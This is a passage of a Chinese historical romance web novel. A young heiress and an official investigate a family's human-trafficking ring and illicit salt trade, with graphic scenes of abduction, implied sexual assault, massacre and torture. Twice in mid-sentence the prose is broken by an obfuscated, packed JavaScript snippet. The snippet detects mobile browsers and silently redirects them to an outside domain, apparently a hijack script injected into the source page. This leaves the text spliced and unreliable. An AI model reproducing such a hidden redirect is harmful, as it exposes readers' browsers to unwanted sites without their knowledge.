苏玉淑走上前去:“我也正有此意。绿萝,上茶。” 绿萝不情不愿地端着茶盘走过来,还不忘狠狠剜上叶荣一眼。 苏玉淑从怀里掏出一张纸条递上去,林长亭在夜色下看得并不明朗。他轻声问道: “这是什么?” “这是杜蕊琴给我的,是他家一位风水先生的地址。我今天和杜家两位小姐都打了照面,总觉得这杜家的水还是深得很。不如你派一个能打的跟着我,我去会会这风水先生,兴许能打探出什么消息呢?” “可以。”林长亭笑笑,夜色朦胧下倒是十分的温良君子,“从今天开始,我就把叶荣叶英两个人拨给你使唤,他俩不管谁在这里,你都可以用。” 苏玉淑有些不满:“不是我说你,能不能不派人跟着我了?” “不能。” 林长亭拒绝得斩钉截铁,苏玉淑不禁气短: “为什么!” “我见过太多道貌岸然面和心离的人和事儿了。”林长亭摩挲着手中的茶杯,“苏大小姐的作风我是知道的,但我也要留个后手不是?” “那你知不知道疑人不用用人不疑的道理?” 林长亭没有接话。他还是那副温和的表情,他就这样看着苏玉淑,一双眼睛有如天上暗淡的星辰,隐隐约约地映进她的心底。 “你看什么看?” “我在想……”他从怀中掏出一个盒子,轻轻放在石桌上,“我在想这次的东西,应该是送对了吧。” “什么啊,神神秘秘的。正事还没说完……哇!” 苏玉淑抱怨的嘴在打开盒子的那一刻彻底长大了。月光下这把匕首散发着寒光阵阵,锋芒毕露。她小心翼翼地握在手里,对着空气挥舞了几下,刀刃划过空气当即发出了尖锐的摩擦声,好不刺耳。 “好刀!”苏玉淑喜笑颜开,她巴巴地凑到林长亭身前,“你哪里弄来的呀?这么趁手的匕首我都没见过呢!” “这你就不用知道了。”林长亭自顾自添了茶,“盒子底下还有个刀套,你平时可以将这匕首绑在腿上,遇到危险也可自保。自然,如果杜家这路子你打探清楚了,自然还有更大的礼奉上。” “好好好是是是,我明天就去那风水先生那儿……不行。”苏玉淑话锋一转,“明天杜蕊琴说了要派人来的。坏了!” “怎么?” 苏玉淑急的眉头紧皱:“我说我要打发几个婢女发卖了,可是我家没有这种人啊……这可怎么办,明天拿不出人来可如何是好?” 林长亭看着急的要跳脚的少女,笑着摇摇头: “这个无妨。我去牢里给你调几个女囚出来就是了。” “这怕是不妥吧……”虽是知道他行事狠辣,苏玉淑却还是被惊到了,“不管犯了什么事,自然有朝廷和刑官定夺,你又如何能把她们送到那虎狼窝去。” “可牢狱位置有限,如若已经是犯了王法的,又为何要有吃有喝的养着这群人呢?” “可……” “苏小姐可是要替犯人说话?”林长亭眼睛微微眯着,神情略有些严肃起来,“既有杀人放火之时,就要想到自己也有下地狱的那么一天,不然这世间何为公平,何为王法?” “王法便是白纸黑字,既然已经判了又为何要送去?那岂不是罪加一等!” 林长亭的眼神彻底暗下来:“她们不去,难道要苏大小姐替她们走这一遭?”< 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“苏玉淑,我生平最恨别人用刀指着我。”他手上的力道又加重了几分,“不管我是谁,但只要我死了,整个师城都要陪葬。你可想清楚了?” 林长亭就这么紧紧抓着她的手腕,将匕首一寸一寸靠近了自己的咽喉,仿佛刀锋抵上的不是他的皮肤一般,他从不在乎自己这条命,早晚都是要被杀的,只是不知为何却对苏玉淑这般反应如此不满。 眼见刀刃嵌入他白皙的脖颈,苏玉淑单手实在不敌,她即刻用左手去推,刀锋远了两寸,却又被林长亭拉着回去—— “小姐!”石竹不管不顾地跑上前去,狠狠地推了林长亭一把,“绿萝,拿布来啊!拿药!” 苏玉淑把自己的手垫在了他的脖子和刀之间,左手手心里一道伤口正渗出鲜血,一点点的滴在土地上。 “林大人的礼物,果真是好的。” 明明就很痛。痛的她都想哭。自己堂堂首富大小姐,虽然打小习武,可什么时候受过这样的伤。 但是苏玉淑就是不肯掉眼泪。 她紧紧咬着后槽牙,眼神坚定而戏谑:“林大人,这样的赔罪,您可满意?” 林长亭没有说话。他向叶荣,少年即刻心领神会,掏出一个小药瓶和一小块纱布放在石竹手中。 “苏小姐……这是林大人特地给我们配的药,外伤保管能好……” “哦?那还真是谢谢林大人了。”苏玉淑把手掌摊开在林长亭面前,“林大人可对我还有什么不满吗?” “苏玉淑,我奉劝你不要再有这样的举动,你只会伤了你自己。夏天热伤口容易发炎,你这几天就不要出门了。杜家那边我自然能应付的了,绿萝石竹,你们两个这几天就看好她,好好养伤,我的脾气想来你们也都明白。” “林大人,您就算高官厚禄,好像也管不到我房中的侍女吧?” “带她回屋上药。” 两人面面相觑一阵,还是带着眼角含泪的苏玉淑回了房间。林长亭捡起掉落在地上的匕首,无奈地叹了口气。 这把刀还是他第一次杀人的时候用的。刀身是由西边传进来的钢材打造而成的,硬而不脆,又快又韧。他想起来自己第一次把玩这把刀之时,也不慎划伤了手指,还为此生了几天的气呢。林长亭用自己的衣服将刀上的血迹擦干净,又装回盒中默默放在了她的房门口。 他见惯了人心凉□□惯了刀尖上舔血,习惯了杀人与被杀,却不知怎的,今天被苏玉淑用刀架在脖子上的时候是那样的愤怒和不可思议。 果然还是办完事就离开师城的好,毕竟京城还有更重要的事等着他解决,也不能在外面耽搁太久。杜家那边家里已经摸了个七七八八,杜老爷和县令私交甚好,许多产业也是在官府的遮掩下才做的起来的,只是最近杜家的传闻实在是太多,要捋起来也是没什么头绪。 还是明天先跟着杜家的牙婆子探探路,就算查不出个所以然来,能打探些消息也是好的。 “叶荣,你这几天就守在她院子里,把人给我看牢了,免得坏了我的事。” “是,少爷。” “还有。”林长亭长长地舒了一口气,“把鸩找来。” 叶荣心下一惊,但什么都没说出口。他深深行了一礼,便消失在夜色之中。 10. 第十章 “这就是你们府上要发卖的女子?” 杜家来的牙婆子上上下下将人打量一遍,这女人虽被绑着,眼神却平淡无波,一副无所谓死活的样子。 “您是杜家派来的人,您办事我自然是放心的。”叶英乔装成小厮,模样十分恭敬,“这女的是我家小姐让发卖了的,我家小姐金尊玉贵,这种事不好出面。您就看着打发了就行,只一样,别让她太好过,别死了就行。” “这有何难。”牙婆拽着女人的衣服就检查起来,手法十分粗暴,不像卖人倒像是卖牲口似的。女人被她拽的几个趔趄,她还是那样面无表情,只是抬眼看了看牙婆,就连一丝声音也没有发出来。 牙婆手里过过许多条人命,年轻的,年长的,男的女的甚至是孩子,这些人虽然年龄面貌品性各异,被主家发卖的理由也不同,但到了这一步,没有一个不是哭哭啼啼或者阴沉着脸的。牙婆一把攥起她的下巴,强迫她与自己对视—— 这女人平静得有些不正常。 “你们苏家不会拿了个哑巴来吧?”牙婆狐疑地掰开她的嘴,手上使劲地在她脸上拧了一把。 女人只是看了牙婆一眼。 叶英赶紧冲她使了个颜色,女人当即皱了眉头: “嘶……啊……” 牙婆半信半疑地转过身来,叶英赶紧又赔上笑脸:“我们苏家高门大户的,怎么会要一个哑巴呢。” “那行,那人我就收下了,小哥回吧。”说罢,她拉着女人身上的绳子头也不回地就上了车。车帘子被撩开的时候叶英趁机往里瞅了一眼,许多嘴里塞着布条被束缚住的女人将车子塞了个满满当当,如同待宰的牲口一般,只能露出绝望而无助的神情。 车子就这么一路出了城,七拐八绕地从大道又转向土路,车厢里的空气如同凝固一般死寂,就连呜咽声都成了一种稀少的点缀。牙婆从外面探进身子来,一边剃着牙一边说道: “哎呀,别哭了,省省力气吧,以后有的是哭的时候。上了这个车就别想着回去了,听点话呢还能有口吃的喝的,要是不听话的……你们也别想着跑,落下残疾破了相死的更快。听我一句劝,能活一天是一天,伺候好爷们儿们比什么都强。” 她话音一落,车厢里的哭声顿时此起彼伏起来。这些女人不知是犯了什么样的错,或者根本连错都没有犯便受了这无妄之灾,只怕下半辈子都要过上毫无尊严的生活,求生不得求死不能,苟且在暗无天日的黑洞之中无法脱身。 “五爷,给您送的货来了!” 不知过了多久,随着车夫的一声声吆喝,外面突然人声鼎沸起来。牙婆猛地一撩帘子,外面的天竟已经极黑了,无数火把的光闪烁着照进死一般的车里。只是这光芒却并非救命的,相反,女人们倒盼着不见这光,每一支火把都像是一只索命的伥鬼,遥遥地问候着她们。 “下来!都下来!” 牙婆一伸手便把坐在最外面的一个女人拽下车去,长时间的舟车劳顿下她的脚早就不听使唤了,她一个踉跄,竟然直直地从车上栽了下去,脸摔在地上飞溅起一阵尘土。女人口中塞着布条,一时之间只能发出呜咽的悲鸣,她颤颤巍巍地缩紧了身子,可两条腿麻到动弹不得。她只能哀求似的一点点在地上蠕动,活像一只被折去了翅膀濒死的蝴蝶。 丑陋又可怜。 “贱骨头,没出息!” 牙婆踢了她两脚,女人乖觉地将下车的地方让出来。车里的女人们鱼贯而出,除了听话也别无他法。明明灭灭的火光映着她们的脸庞和眼泪和几乎欢呼出来的男人们炽热而贪婪的目光,是如此的讽刺。女人们争先恐后地低下头去,生怕自己做了那首当其冲的祭品。 “都把头抬起来!这时候了害羞个屁啊,以后大爷们都是要看的。” 牙婆一声厉喝,人群登时发出嘻嘻哈哈的嘲笑声。 女人们就在这铺天盖地的凌辱中羞耻地抬起头来,她们面前正站着一个壮硕的大汉,牙婆在一旁对他毕恭毕敬的样子。他举着火把在离她们不远的地方踱着步子,像欣赏自己豢养的宠物一样看着女人们,眼里满是玩味。 “田婆子,你送来的这批比上一批强不少呢。哈哈哈!”他的喉咙像卡了痰似的,发出的声音粗粝难听,“这些赏钱你拿着,下次再有好的还先送我们这儿来!” “是,是,五爷您客气了,这是小的应该做的,您还给这许多赏钱……”牙婆看见这几个碎银子就和看见天上掉的星星似的,俩眼珠子直放光。她笑呵呵地把银子往怀里一揣,自顾自地从女人里面拽出来一个: “五爷,您看看这个,这个是杜家,师城那个开赌坊的杜家出来的。” “我瞧瞧。” 女人惊恐地抬起脸,几缕头发披散在面前更显得娇弱可怜。五爷上前一步,一把握住了她的脖子,在昏暗的灯火下凑近了看了又看,他混着酒味的热烘烘呼吸喷在女人脸上,她只觉得窒息恶心,却没有丝毫反抗的力气。 “这娘们儿长得是不错,杜家竟然也舍得?” “是了,杜家不留小妾,用过了也就发卖了。五爷若不嫌弃,大可以自己留下享用啊,打理打理还是个美人呢!” “行,那今儿就她了。都带下去收拾了,兄弟们今天晚上开开荤,玩够了就换银子!” “哦!!” 男人们瞬间爆发出热烈的欢呼声,他们像得了命令的狗群般一窝蜂朝女人们扑过来,肩扛的横抱的一时之间乱做一团,场面就和春日里的兽群似的。女人们的哭声和哀求声仿佛成了这群野兽最好的兴奋剂,为首的五爷欣赏着他的杰作,嘴角挂着卑鄙的笑容。他一把搂过杜家的女人,嘴里哼哧着: “你跟了我算你命好,好好伺候爷爷吧!” 说罢,他一把扯下女人口中的布条,女人顿时爆发出激烈的哭声:“求求你不要,放我回去吧!我有钱,我有攒下的私房钱——啊!!” 不等女人说完,她已是被头朝下地抗走,不管她如何踢打挣扎都无济于事。她只觉得自己脑袋发昏,男人身上的臭味儿一股脑地往鼻子里钻,仿佛是来自地狱的恶鬼发烂腐坏的味道。 下一刻,她头朝下狠狠地栽了下去。 女人好像听到了自己脖子都发出了一声脆响,她顾不得疼痛,慌里慌张地爬起来—— 血和火光染在一处,这一刻,她原来真的身处炼狱之中。 无数的火把掉落在地上,点着了四处蔓延的油污,直烧得天边都变了色。刚才还扛着自己的五爷此时已经变成了一个废人,正抱着自己的一双断腿在地上嚎叫打滚,那被斩断的小腿滚落在她面前,切面光滑洁净,就像菜市场里被屠夫鲜切下来的肉似的。 她惊得将尖叫都埋在了喉咙里,两只手胡乱扒拉着往后退去,直到后背抵上粗粝冰凉的水井才捂着嘴作罢。 她认得这个女人,这个正大杀四方的女人。是她,是苏家送来的那个。 这女人手里握着一柄细细的软剑,如游龙一般在人群之中穿梭着。她的剑刃裹挟着火光与寒光,精准的刺向人的心脏,游刃有余得和穿针引线一般。她的步伐诡异而轻巧,刚才还在一个男人身后,下一秒便出现在牙婆身前,一剑毁去牙婆的双眼,只留一声惨叫和血迹在原地,人却不见踪影。远处又有声音传来,这女人手里捏着一把东西,只轻巧一丢,四散逃跑的几个人便齐刷刷倒下,和栽倒的鸭子无异。 和杜家这小妾一样呆坐在地上的女人越来越多,她们的眼睛已然发直,不可置信地看着这神兵天降般的女子大杀四方。还剩下的几个男人踉跄着跪地求饶,他们知道自己跑不掉吓得手脚发软,不住地磕着头,只盼神仙能放自己一条生路。 “女侠,女神,我错了,小的们错了,求求您,小的们知道的一定说,求求您别杀我,家里还有人等我养——” 刷—— 一颗头颅滚到了一个女人面前,吓得她尖叫一声,昏死过去。 “女侠!您饶了我的狗命吧女侠!我就是,就是想出来嫖,小的就是贱,您放过我……” 刷—— 她如同切瓜砍菜一般砍下了他们的头颅,脸上依旧是没有任何的表情。血水弄脏了她的脸,原本一张平平无奇的面貌此刻竟被点缀得如同世上最优雅的鬼魅。眼见四下能杀的都杀得差不多了,她才不急不慢地从衣间取出一个信号弹,随手打上了天。 “你,你到底是谁……” 两条腿只剩半截的五爷眼泪鼻涕已经糊做一团,他捂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457793|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的断腿,一扫刚才财大气粗的模样,牙齿上下打架磕碰出“咯吱咯吱”的声响,不知是因为疼痛还是恐惧,浑身抖得像个筛子。 “我是谁,不重要。”女人缓缓走到他身前蹲下身子,居高临下地看着眼前的蛆虫,“说吧,你们是谁?” “我王五生是豪杰,死了也必定不会放过你!想逼问老子,做你娘的梦!啊啊啊!!” 女人对他这一番话毫无所谓,她从地上捡起来一支火把,顺手燎起来王五断腿的切口,一股子糊臭味儿瞬间弥漫在空气里,和逢年过节杀猪褪毛的流程倒是类似。 “我听说,牢里的犯人若是受了刑还不肯说,只能想点法子先保下命来,以待时日。”她一边说着,一边用火烤着王五的断骨,“没事的,烤熟了就不会烂了,我们以后有的是时间。” 王五的叫声凄厉得令人汗毛倒竖,女人们被他吓得大气都不敢喘。他两只手不住地扑腾着,只是因为疼痛逃脱不得,他的身体歪歪扭扭地挪出去几寸,在地上画出几行狗爬似的线来。 “你瞧瞧你,怎么还怕疼呢。”她还是那副淡淡的表情,从腰间又抽出两把匕首,“来,我帮你。” 她温柔地握住王五的手,王五惊恐地瞪着她:“你,你要干什么?” “帮帮你,省的你乱动,白费力气。” “啊!!!” 两道寒光闪过,王五的叫声一声惨过一声。他的两只手被匕首狠狠地穿过,钉死在地上动弹不得。血迹顺着土缓缓流出来,在火光下隐隐发出些暗淡的红。 “现在我要烤你的另一条腿了。一会儿还要帮你烤一下手,你别怕,我手很快。” “我说!我说!我说就是了!!” 王五终于熬不住,他的喉咙里发出几声吞咽,竟哭得和婴儿一般: “我说!那田婆子专门卖人的,我们这儿地方偏,缺女人,她,她就从城里弄一些来,走了底下的路子,您大人有大量,官府也不缺我们这点税钱,欠了多少我们补上就是……” “什么叫底下的路子?” “回,回大人……”一声微弱的声音从不远处传来,“大人,我就是一个牙婆子,豪门大家里多少是有点见不得光的事儿的,我就专门替人打发了,就发卖了,真没别的……” 田牙婆瞎了一双眼睛,跪在地上摸索着往前爬:“大人您要问尽管问就是了,老婆子一定都说,绝对不瞒您的……” “这是哪儿?” “回大人,这儿是师城八十里地黑水庄,周边还有王家村和杜家村……” “你们都卖什么人?” “都是些高门大院里打发出来的……就,就杜家总送些个小妾出来,别家都是些家里的难听事儿,真的不值得大人费心思的!” 林长亭放了手里的书,饶有兴致地问道:“这些人还说什么了?” “禀少爷,我仔细拷问过了,没有发现私盐的痕迹,确实是一路贩卖人丁的黑路子,卖了的钱都归杜家和牙婆八二分账。据牙婆所说,杜家暗地里和许多门户暗通款曲,专门为他们处理这些没地方或者不好走明路的妇人。杜老爷好像并不知情,和平日里和牙婆分账的是杜家的一位小姐,但具体哪一位她也说不上来。” “那王五可还说了些什么?”他端起茶水抿了一口,“剩下的人呢?” “王五只说了之前来的女人的几个去处,别的他也不知道什么,正一他们到了之后已经根据账本去查了。正一让我回您的话,这一车的女人已经救下,之前的人他会尽力去找。王五和田牙婆,杀。” “鸩,这次的事情办得好,你且待命,私盐一案只怕要用到你的地方不少,这一次你辛苦了。” “少爷哪里的话。鸩的命都是少爷救下来的,能为少爷办事是我分内之事。” 两天过去了,鸩还是那副淡淡的样子,纵使是杀了将近一村的男人也还是古井无波。她跟随林长亭多年,在他身边学到的最大的本事便是隐忍不发。就像那句糙话一样—— 会咬人的狗,不叫。 “你先休息吧,有别的事再……” 林长亭话音未落,叶英便慌慌张张跑进屋子: “少爷,不好了,苏家小姐不见了!” 11. 第十一章 “人怎么会不见的!”林长亭从椅子上“噌”的一下站起身来,“叶荣呢?叶荣不是一直跟着吗?” “叶荣也不见了。” 不知怎的,林长亭的冷汗竟细密地爬满了背。 前几日伤到苏玉淑已是非他所愿,如今杜家这头刚查出点眉目人就不知道跑哪里去了,真是会在关键时刻给他添乱。 “林大人的礼物,果真是好的。” 不知为何,那晚她捂住伤口的倔强样子又浮现在脑海里,连带着声音一起将林长亭的脑子搅了个混乱。 万一,万一又伤了她…… “找,务必给我把人找回来!” 此时外面已经风雨大作,夏日的天总是变得这样突然。两个戴着斗笠身着蓑衣的身影正躲在大石头后面,偷偷张望着。 “苏小姐,我们这样真的好吗?” “你要是不干,你就现在去找林长亭去。”苏玉淑白了叶荣一眼,继而压低了声音说道,“我好不容易想起这么一茬来,你要是告诉了他,查到什么也就还则罢了,要是没查到估计也要你好看。” “那也得告诉了少爷才行吧……”叶荣小声嘟囔道。 “干不干,不干滚蛋。” “难怪少爷说你粗鄙。” “再废话我给你扔盐里埋了,腌成脱水人干我看你还多不多嘴。” 苏玉淑这两天在家里,外有叶荣盯梢,内有石竹绿萝贴身围堵,手上一点小伤本来不深,可是憋也快憋出毛病了。 她索性框了绿萝梳妆成自己的样子,等叶英反应过来,她早就跑出去二里地了。她这几日闲来无事,辗转反侧地想着那天在杜家的所见所闻,总觉得这一家子看似华贵明艳,可是总有哪里不对劲。苏玉淑就这么琢磨来琢磨去,突然想到杜蕊琴的一句话: “为何不送到盐场去?” 她先是毫无根由地送了自己盐晶,又意有所指似的提起这么个不相干的地方,一定是有她不好说出口的道理。 苏玉淑这么想着,但也只是快马跑出去半日便被叶荣追上。她稍作解释,叶荣又不能任由她自己擅闯龙潭虎穴,只能无奈跟随。两人此时正顶着雨躲在盐场后身的一处山地上,偌大的盐场空无一人,可他俩也不敢轻举妄动。 叶荣不解:“苏大小姐,这盐场不是你家的吗,你跟这儿躲什么啊?” 苏玉淑又翻了个白眼:“你懂什么。这盐场虽是我家的,但我还是头一次来。我人生地不熟的,又不知道盐场现在谁当家,怎么能冒冒失失地闯进去。诶,你以后跟着绿萝她们叫我小姐就行,反正林长亭也不要你了。” “少爷没有不要我,他就是让我给你使唤几天。” 看着叶荣一脸认真的样子,苏玉淑没忍住笑了。她的笑声混在雨声之中,倒是应了夏日里洒脱畅快的景。 “小姐,有人。” 苏玉淑顺着叶荣望着的方向看去,盐场一侧的房门出证慢悠悠走出两个男人。苏家晒的是海盐,盐场里大大小小的盐池在这个季节发着不同的颜色,红的粉的白的甚是好看。两个男人穿着灰黑色的衣服穿梭在不同的色块里,如同画中的小人一般。他俩貌似在交谈着什么,只是距离实在太远,苏玉淑无论如何也听不到只言片语。 “小姐,左边那个男的是你家安字号的刘掌柜。” 苏玉淑被叶荣一句话惊得不轻:“林长亭到底什么时候就让你盯着我了?” 叶荣没接她的话,只是尴尬地笑笑:“小姐,你在这里候着,我去听一耳朵。” “等等,我也要去。” “不行。”他拒绝得斩钉截铁,“你手伤还未痊愈,要是再出了点什么事,少爷一定会杀了我。老实待着,不要给别人添麻烦。” 苏玉淑来不及反驳,叶荣已如利箭一般飞了出去。他的身影闪转腾挪,雨天之中竟也不踩起一点水花来。转瞬之间他已经到了二人身后房顶之上,压低了身子仔细听着他们的对话: “姐夫,你说官府会不会查下来啊?咱们这可是掉脑袋的买卖,要是让人发现了……” 被刘掌柜叫做姐夫的男人身形看起来要更魁梧一些,他抹了一把胳膊上的雨水,指着远处的盐滩说道:“查?官府拿什么查?我们的盐出去都是有路数的官盐,就算查,也是查到苏高朋的账上,倒霉的也是他苏家,有咱们底下人什么事!” 刘掌柜面露难色:“姐夫,最近不知道是不是那姓苏的起了疑心,前一阵子派了他女儿来安字号查了账了。” “查账?查什么账?” “也没什么,我看那小丫头片子就是看了看,我的账面做的粗,进出账都是对的,不细看看不出什么来。” “那你怕什么!瞧你那怂蛋样子!”他一把手拍在刘掌柜背上,差点将刘掌柜派进盐池里,“谁不知道他苏高朋是个没用的,生了个丫头片子就给你吓成这样!只怕是他想破了天都想不到自己家还能这么卖出盐去呢吧!哈哈哈哈!” 苏玉淑急得直探头,这一阵笑声远远地传进耳朵里是如此刺耳。可叶荣说得对,自己功夫还没有好到能像他一样能来无影去无踪的,去了也只能添乱。手上的伤口被雨水浸的久了隐隐发着疼,她忍不住低头看了看手心,此刻粘了灰的纱布正渗出一层红来,只怕回去又要挨两个丫头的骂了。 等她再探头看去,两个人已经是走向盐场棚子的远处了,这次就连笑声都听不见一点儿。苏玉淑急得站起身来,可身后窸窸窣窣一阵声响,紧接着肩膀便传来冰冷的触感—— “小姐,你这拿刀就往人脖子上架的毛病能不能改改啊。” “那你们林家这喜欢偷偷摸摸的毛病能不能也改改!” 叶荣不知道什么时候回到她身后,也顾不得她的惊吓了,一五一十把刚才的话汇报给苏玉淑。苏玉淑听了之后面色一沉,声音里含了许多杀气: “狗娘养的。” 叶荣一愣:“什么?” “我听我爹说过,他当时请了这刘掌柜来安字号就是看上他忠厚老实,为人本分,原来都是装的!也怪他自己识人不清,活该让人拿捏了。我之前让绿萝打听来了,说是刘掌柜和盐场一个长工沾亲带故的有点什么事儿,料想过可能有贪污私藏罢了,没想到竟然如此猖狂!” “那现下怎么办?”叶荣看了看二人进去的位置,“要不……” 苏玉淑敏锐地察觉了他的意图:“不行。如果就我们两个人贸贸然进去,能不能查的出来姑且不说,万一打草惊蛇,你家林大人的宏图大业可就要被咱们两个毁于一旦了。” “那……” “我们先回去,既然已经发现了端倪就有了头绪。打蛇打七寸,必定得准备万全了再杀上门去。正所谓谋无主则困,事无备则废,这个道理我懂,你家大人必定也懂。” “是,那我们这就回,小姐你的手也不好再耽搁了。” 两个人压低了斗笠,循着来时的路向外走去。荒山之上碎石遍布,苏玉淑每一脚都走得惊险。她咬紧了牙关,专心于眼前之事,一切都要等到回去从长计议。虽然她并不喜欢林长亭,可不得不说这个人的身家和权力都是她目前难以企及的。如今看来,她苏家的盐场确实出了一些乱子,哪怕之前林长亭轻描淡写,她现在也看得出来形势已是凶险万分。如今权宜之计,是非要和这位不知道哪里的神仙大人合作不可了,也只有他,才能把苏家犯下的事捂下来,最好是捂到烂了、臭了,外面看起来也是平静如水,没人知道她苏家究竟发生了何事。 如果再能利用他一下…… 手上的疼痛拉扯回她的思绪,山路湿滑泥泞,她刚刚不自主地用手去扶了矮树灌木,此时纱布已经被挑开,只是松松垮垮地挂在手上,里面还未长好的伤口清晰可见。 “怎么了?” “没事,走吧。” 苏玉淑忍痛不发,只是尽力紧紧跟随上叶荣的脚步。也不知道他们林家怎么能训练得出如此身手矫健的侍卫,这要花费多大的功夫和多少的银钱才行啊。早知道自己也应该用私房钱去请些厉害的师父指点,也不用被林长亭那家伙拧着手腕动弹不得了。 “小姐,到山脚下了。我去把马牵出来,你在这里且等等。” 她点了点头,这些在山林里隐去行踪的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457794|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事她是一点都不会,想来也是万幸,今天若是没有叶荣跟着自己,只怕是白跑一趟。苏玉淑百无聊赖地寻了块大石头,好歹用袖子抹了下积水就坐了下去。这样折腾了一整天,她已是疲乏极了,只盼着能在天黑之前回去吃上一口石竹做的鱼汤,或者这雨赶紧停了也行。 诶,真停了。 老天爷真是诶,也太心疼她了。 不对。这远处怎么还下啊。 苏玉淑伸手去摸,不想身后传来一个声音:“你还真是嫌自己好的慢。” 这声音她已是熟悉至极,苏玉淑摘下斗笠仰头看去,正对上林长亭俯视她的一张脸: “林大人,您好雅兴啊,出来赏雨。” 林长亭怎么也没想到,她会来上这么一句。真是气也不是,笑也不是。他有些无奈地叹了口气,身上衣衫早已因为风雨兼程湿哒哒地黏在身上,可看着她这张无所谓似的惨白的小脸,林长亭又不知道该说些什么。 “回去吧,我备了车。” “不要,我自己骑马来的。” “那你要不要你的手了?”林长亭这次是真的有些生气了,他抓住苏玉淑的手腕,把已经弄脏了的纱布扔在一旁,“你自己看看,这都泡成什么样子了?” “怎么林大人这时候还费心这个?难道不应该问问我查出来什么了吗?” “你的嘴是就扔在这山沟野地里了吗?回去的路上不能说吗?” “林长亭,你真是不分轻重!” “苏玉淑,你才是不识好歹!” 两个人剑拔弩张,一股火药味弥漫开来,只怕是山雨欲来风满楼—— “呃……少爷,小姐……马我牵回来了……”叶荣小心翼翼地凑过来,“咱们还是走吧,万一让盐场的人看见……” “叶荣,我们走。”苏玉淑一个箭步从林长亭的伞下窜出去,作势就要上马,她左脚刚踩上马镫,整个人就突然腾空而起—— 林长亭把她拦腰一横,像夹着本书似的就把她往马车的方向带。苏玉淑被他的胳膊挤压得肋骨生疼,她不住地扑腾着,又不敢大声叫骂: “林长亭!你个登徒子!放我下来!等我回去我一定要你好看!” “你再嚷一句,我就把你打晕了扔车里,你自己选吧。” 好汉不吃眼前亏,识时务者为俊杰。苏玉淑咬牙切齿地忍着疼,没两步路就走到了一处开阔地带。叶英和许多人正在这里候着,她就这么在众目睽睽之下像一只被拎着后脖颈的小猫似的,被林长亭活生生丢进了车厢。 “不想丢人就老实待着。” 林长亭撂下这么一句话,转身向人群走去。雨虽然小了一些,可还未停。叶荣此时正牵着马候在一旁,见林长亭向自己走来,也十分识趣地跪倒在泥地里。 “少爷。”他恭顺地低下了头,“叶荣知错了。” “你错在哪里。” “我不该擅自行动,应该先向您通报了消息再去的。”叶荣的头低到几乎埋进自己的胸口,“叶荣错了,请少爷责罚。” “叶英,你觉得呢?”林长亭转而望向长相几乎一模一样的另一位少年,叶英却只是淡淡地瞟了一眼满身泥泞的弟弟,摇了摇头。 “为何不发一言?” “回少爷,叶荣坏了林家的规矩在先,自然是要罚的,但是他心系苏家小姐安危也情有可原。作为他的同僚,我不能苟同他的做法,可是作为他的哥哥,我却希望少爷能够不要责罚于他。” 苏玉淑听到外面的动静,尽管不明所以却也知道叶荣是因她而受苦。她撩开帘子刚要下车,却被一个女人拦住。 “别去。” 她的声音淡的和水一样,可带着一种不容人反驳的坚定。 “可我不能……” “无妨。” 女人话音刚落,林长亭转身向他们的方向而来。 “叶荣,你今天失了分寸,又没能护得苏小姐平安周全,自是该罚。只是眼下正是用人之际,你一片赤诚,我也不想寒了大家的心。若下次再犯……”他回身微微一笑翻身上马,“我一定,会要了你的命。” 12. 第十二章 “哎哟,疼,你轻点儿啊!”苏玉淑疼得直躲,石竹使了个颜色,绿萝立马把她的手死死按住: “活该,忍着吧你。” “小姐,你就算想到了什么查到了什么也应该先顾忌着自己,你这样不受罪吗?”石竹小心翼翼地用纱布清理着泡得有些泛白了的伤口,“你瞧瞧,这又得拖上几天才能好。” “好了好了,知道了。已经被林长亭数落了一路,回家还要被你们俩念叨,我今天风吹雨淋的就没一句好话。”她不服气地扁扁嘴,“我想喝鱼汤。” 两人异口同声:“不行。” “为什么!” 绿萝被她气的直瞪眼:“你自己说说呢?伤口都这样了,那鱼肉是发物,你吃了还要不要好了!这几天你哪儿都别想去,什么都别想着吃,老老实实在房间里待着,不然我就让叶荣告诉林大人,等他过来收拾你的!” 苏玉淑不免诧异:“什么叫让林长亭管着我?你还能指使得动叶荣呢?你们两个什么时候关系那么近的?” “一个小毛崽子,我让他跑跑腿是瞧得起他。” 石竹仔细包好手上的伤口,又细心地剪断多余的纱布,这样就不会因为苏玉淑乱动乱摸而散乱。她做好这一切后悄悄凑到玉淑耳边轻声道: “小姐,刚才我可看见有人给叶荣拿新斗笠呢!” “绿萝!你怎么胳膊肘往外拐啊!” 绿萝把怀里的软枕一摔,模样倒有些娇嗔:“那人家送回来了,总不好又湿哒哒的回去吧!再说了,他天天姐姐长姐姐短的叫着,就算当个小弟弟哄着吧。况且……他是林大人的人,和他打点好关系,日后也有用得到的时候。” “这话倒是不假。不过我看林长亭那个性子,谁的话他都未必听得进去。”苏玉淑缩回到床上,由着绿萝梳着刚刚洗完的头发,“苏家这次怕是摊上大事了,等到父亲回来之后还是禀报一声的好。你我三人以后都要小心行事,要是真有个什么好歹的,我也绝对不能把你们两个和母亲搭上。” “小姐这是说的什么话!”石竹帮她掖好被角,眉眼之中满是担心,“就算这事不能善了,我们也会陪着小姐你的。今天你累了一天了,先不要想这些,好好睡一觉。要是再不好好休息着了风寒,小姐还如何查的下去呢?” 